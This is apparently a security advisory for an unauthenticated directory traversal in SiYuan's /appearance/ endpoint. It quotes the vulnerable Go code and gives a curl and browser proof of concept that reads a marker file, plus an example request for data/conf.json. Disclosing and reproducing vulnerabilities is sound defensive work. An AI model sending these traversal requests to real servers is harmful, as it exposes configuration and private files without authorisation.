The Siyuan kernel exposes an unauthenticated file-serving endpoint under */appearance/filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.
Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.
Vulnerable Code Location
File: kernel/server/serve.go
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
filePath := filepath.Join(
appearancePath,
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
)
...
c.File(filePath)
})
Technical Root Cause
The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.
Key issues:
1. Unsanitized User Input
The path component extracted from the request is not validated or normalized to prevent traversal.
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
This preserves sequences such as:
../
..\ (Windows)
2. Unsafe Path Joining
filepath.Join() does not enforce directory confinement.
This escapes the intended directory.
3. Direct File Serving
The resolved path is served without verification:
c.File(filePath)
Authentication middleware explicitly skips /appearance/ requests.
File: session.go
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
c.Next()
return
}
This allows attackers to access the vulnerable endpoint without a session or token.
A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.
Example request:
GET /appearance/../../data/conf.json HTTP/1.1
Host: target
Because authentication is bypassed, the attack requires no credentials.
Step 1 — Create marker file
mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt
Step 2 — Run SiYuan container
docker run -d \
-p 6806:6806 \
-e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan \
--workspace=/siyuan/workspace
Step 3 — Confirm service works
Open in browser:
http://127.0.0.1:6806
Method A — using CURL command
Use --path-as-is so curl does NOT normalize ../.
curl -v --path-as-is \
"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"
Output
HTTP/1.1 200 OK
POC_EXPLOITED
Method B — Using Browser
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt
If method B is not working, use method A, which is CURL command to do the exploit
An unauthenticated attacker can read arbitrary files accessible to the server process, including:
This may lead to:
{
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:43:20Z",
"nvd_published_at": "2026-03-20T23:16:48Z",
"severity": "HIGH"
}